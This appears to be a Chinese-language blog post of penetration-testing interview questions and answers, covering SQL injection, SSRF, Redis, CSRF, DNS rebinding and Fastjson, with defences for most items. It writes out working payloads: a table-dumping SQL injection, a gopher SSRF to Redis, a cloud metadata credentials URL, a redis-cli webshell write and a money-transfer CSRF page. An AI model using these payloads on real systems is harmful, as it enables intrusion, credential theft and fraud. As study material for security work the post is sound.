2025年渗透测试面试题总结-38(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
3. 渗透测试流程
4. SQL注入原理及Payload
5. SQL注入空格绕过技术
6. SQL注入防御及预处理局限性
7. 同源策略(SOP)
8. a.baidu.com 与b.baidu.com 同源判断
9. SSRF原理与利用
10. Redis攻击Payload
11. CSRF原理与防御
12. JSON格式CSRF利用技巧
13. SameSite属性
14. DNS重绑定攻击
15. Fastjson反序列化漏洞与修复
16. 子域名枚举工具与响应码200问题
17. Java掌握程度
回答总结
3.渗透测试的流程 4.SQL注入原理,及常用payload(手写-爆表名) 5.SQL注入空格不能使用如何绕过 6.SQL注入防御,延申预处理不能预防哪些注入 7.同源策略 8.a.baidu.com和b.baidu.com是否同源 9.SSRF原理,利用 10.攻击redis的方式(手写payload) 11.CSRF的原理及防御 12.一种特殊的CSRF场景:后端只解析json格式的时候如何利用CSRF(非更改Content-Type) 13.SameSite 14.DNS Rebinding 15.Fastjson反序列化及如何修复 16.子域名枚举用过那些工具,原理是什么,如果出现了任意子域名都返回200是什么原因? 17.Java学到哪种程度了?
3. 渗透测试流程
五阶段模型
- 情报收集
- 被动侦察(Whois、DNS记录、GitHub信息泄露)
- 主动扫描(Nmap端口扫描、Wappalyzer技术栈识别)
- 威胁建模
- 绘制攻击面(网络拓扑、API端点、第三方组件)
- 风险优先级排序(CVSS评分 + 业务影响)
- 漏洞分析
- 自动化扫描(Nessus、Burp Suite)
- 手动验证(逻辑漏洞、权限绕过)
- 渗透利用
- 武器化攻击链(Metasploit模块、自定义EXP)
- 横向移动(Pass-the-Hash、Kerberoasting)
- 报告与复测
- 漏洞详情(PoC截图、风险等级、CWE编号)
- 修复建议(代码示例 + 配置加固方案)
4. SQL注入原理及Payload
原理:未过滤用户输入,使攻击者拼接恶意SQL语句,破坏查询逻辑。
爆表名Payload(MySQL示例):sql
' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()-- -
关键点:
information_schema.tables
存储元数据group_concat()
合并多行结果-- -
注释后续语句
5. SQL注入空格绕过技术
当空格被过滤时,替代方案:
绕过方式 示例 适用场景 内联注释 SELECT/**/1
MySQL 括号包裹 UNION(SELECT(1))
多数数据库 特殊字符 %09
(Tab)、%0a
(换行)URL编码场景 反引号/引号 UNION`SELECT`1
MySQL反引号特性
6. SQL注入防御及预处理局限性
防御方案:
- 参数化查询(Java:
PreparedStatement
,Python:cursor.execute(%s)
)- 输入过滤(正则匹配:
/^[a-z0-9_]+$/
)- 最小权限原则(DB账号禁用
DROP
、FILE
权限)预处理无法防御的场景:
- 动态表名/列名
java
String query = "SELECT * FROM " + userInput; // 预处理无效!
- IN()子句参数化困难
sql
WHERE id IN (?) // 只能绑定单值,需特殊处理
- ORDER BY动态排序
sql
ORDER BY ? // 预处理会将参数视为字符串而非列名
7. 同源策略(SOP)
定义:协议+域名+端口三者完全一致才允许跨域访问。
管控范围:
- DOM访问(iframe跨域隔离)
- Cookie/Storage读取
- AJAX请求(需CORS放行)
8. a.baidu.com 与b.baidu.com 同源判断
结论:非同源
- 原因:子域名不同(
a
vsb
)- 例外:可通过设置
document.domain = 'baidu.com'
实现次级域同源(需双方主动配置)
9. SSRF原理与利用
原理:服务端发起未校验的网络请求,导致内网探测或协议滥用。
利用链:http
GET /proxy?url=http://192.168.1.1/admin HTTP/1.1
高级利用:
- Redis未授权访问
http
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aAUTH%0d%0a$16%0d%0a攻击者密码%0d%0a
- 云元数据泄露
http
http://169.254.169.254/latest/meta-data/iam/security-credentials/
10. Redis攻击Payload
写Webshell(需绝对路径):
bash
redis-cli -h 目标IP flushall set shell "<?php system($_GET['cmd']);?>" config set dir /var/www/html config set dbfilename shell.php save
11. CSRF原理与防御
原理:诱导用户会话中触发恶意请求(如转账链接)。
防御方案:
方法 实现 CSRF Token 表单隐藏字段 + 服务端校验 SameSite Cookie Set-Cookie: key=val; SameSite=Strict
验证Referer/Origin 检查请求来源域名
12. JSON格式CSRF利用技巧
场景:后端仅接受
Content-Type: application/json
时,传统表单无效。
绕过方案:
- Flash + 307跳转(已淘汰)
- JSONP劫持(仅GET请求)
- 构造恶意页面:
html
前提:用户Cookie未设置<script> fetch('https://api.com/transfer', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({to: 'attacker', amount: 1000}) }) </script>
SameSite=Lax/Strict
13. SameSite属性
模式 跨站请求携带Cookie 典型场景 None 允许 需HTTPS + 显式声明 Lax GET请求允许 外部链接跳转 Strict 禁止 敏感操作
14. DNS重绑定攻击
原理:利用DNS响应TTL过期后返回新IP(如先指向攻击者IP,再绑定
127.0.0.1
),绕过同源策略访问内网。
防御:
- 应用层验证Host头
- 防火墙限制内网访问
15. Fastjson反序列化漏洞与修复
漏洞根源:
@type
属性指定任意类,触发JNDI注入(如com.sun.rowset.JdbcRowSetImpl
)。
修复方案:
- 升级至1.2.83+ 并开启
safeMode
- 黑白名单控制(
ParserConfig.getGlobalInstance().addDeny()
)- 替换Gson/Jackson等更安全库
16. 子域名枚举工具与响应码200问题
工具与原理:
工具 原理 Sublist3r 聚合搜索引擎数据(Google/SSL证书等) Amass DNS暴力破解 + WHOIS反查 Assetfinder 递归查询NS记录 全子域名返回200的可能原因:
- 通配符DNS解析:
*.example.com → 同一IP
- 统一错误页面:所有未知子域名重定向至首页
- 负载均衡策略:未配置默认后端服务
验证方法:
bash
host random12345.example.com # 检查随机子域名是否解析
17. Java掌握程度
安全视角的Java能力:
- 漏洞分析:熟悉反射、类加载、JNDI等底层机制(支撑反序列化漏洞利用)
- 安全编码:
- 避免
Runtime.exec()
,改用ProcessBuilder
- 密码存储用
BCryptPasswordEncoder
- 框架安全:
- Spring Security配置(CSRF防护、CORS策略)
- Shiro权限绕过漏洞原理
- JVM调优:内存马检测(分析
java.lang.ClassLoader.defineClass
调用栈)
回答总结
- 技术深度覆盖:从注入漏洞到协议级攻击(如DNS重绑定)
- 防御实践导向:每个漏洞均提供可落地的修复方案
- 前沿场景适配:JSON CSRF、SameSite策略等新威胁详解